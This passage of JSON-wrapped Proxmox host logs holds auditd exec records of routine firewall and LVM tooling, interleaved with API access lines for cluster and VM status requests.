a3=8 items=1 ppid=1119 pid=64865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275512,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.512:69151): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964594595,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964255190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.190:60233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600341,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781966265463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.463:69126): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645847,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.847:61940): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966100391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.391:68440): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.672:67543): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274150,"@rawstring":"node=pve type=EXECVE msg=audit(1781966274.150:69150): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964592670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964254646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964254.646:60232): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0a50 a1=64f8d740c880 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600341,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966265455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.455:69125): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.842:61939): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.383:68438): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965894672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965894.672:67542): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64864 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274125,"@rawstring":"node=pve type=EXECVE msg=audit(1781966274.125:69149): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964591700,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964254601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964254.601:60231): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c1e0 a1=64f8d1915ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57831 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600341,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781966265450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.450:69124): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.834:61938): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966100.383:68437): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.663:67540): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=EXECVE msg=audit(1781966271.016:69148): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964588653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.487:60230): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598857,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966265444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.444:69123): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645828,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.828:61937): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.952:68433): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfbfafbc0 a1=56451ec113d0 a2=56451ebef680 a3=5 items=1 ppid=65716 pid=65717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.663:67539): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64863 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=EXECVE msg=audit(1781966271.009:69145): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964588653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.478:60227): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598857,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781966265436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.436:69122): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645824,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.824:61936): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966095854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.854:68415): arch=c000003e syscall=59 success=no exit=-2 a0=7ffebe379920 a1=592b85184410 a2=592b85162680 a3=5 items=1 ppid=65697 pid=65698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.655:67537): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=EXECVE msg=audit(1781966266.000:69142): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964587624,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964248472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.472:60224): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598857,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781966265430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.430:69121): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.819:61935): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.373:68407): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965889655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965889.655:67536): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64862 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.991:69139): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964584629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964248462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964248.462:60221): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781966265037,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.037:69120): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73afcf0 a1=64f8d73ae0f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.819:61934): argc=1 a0=\"date\""} {"@timestamp":1781966095373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.373:68406): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.433:67531): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8d880670 a1=59cbcc558310 a2=59cbcc551680 a3=5 items=1 ppid=64854 pid=64855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265500,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.500:69135): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964583581,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964245179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.179:60218): arch=c000003e syscall=59 success=yes exit=0 a0=62080c2eee90 a1=62080c2ebc10 a2=62080c2cd680 a3=5 items=2 ppid=57820 pid=57826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781966265013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.013:69119): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d734b9d0 a1=64f8d73bb6d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645813,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.813:61932): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966095365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.365:68404): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965885.337:67513): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe9d7a7cd0 a1=56ef6ce6f310 a2=56ef6ce68680 a3=5 items=1 ppid=64835 pid=64836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265496,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.496:69134): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964582585,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781964245176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.176:60217): arch=c000003e syscall=59 success=yes exit=0 a0=6207e2fc0ac8 a1=7ffd159e05f0 a2=62080c2cd680 a3=6207e2fa424e items=2 ppid=57820 pid=57822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781966261284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966261.284:69118): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72539d0 a1=637ee7242cd0 a2=637ee7240ef0 a3=8 items=2 ppid=66363 pid=66365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645807,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.807:61931): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966095365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.365:68403): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.649:67505): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265493,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.493:69133): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964580675,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964245174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.174:60216): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd159e05b0 a1=62080c2d4310 a2=62080c2cd680 a3=5 items=2 ppid=57820 pid=57821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966261284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966261.284:69117): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254580 a1=637ee7252450 a2=637ee7240ef0 a3=8 items=2 ppid=66363 pid=66364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645799,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.799:61930): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966090351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.351:68399): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.649:67504): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.491:69132): argc=1 a0=\"date\""} {"@timestamp":1781964579067,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964245117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.117:60204): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ece30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595696,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966261282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966261.282:69116): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254390 a1=637ee7256630 a2=637ee7257220 a3=8 items=2 ppid=846 pid=66362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645791,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.791:61929): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966090351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.351:68398): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) 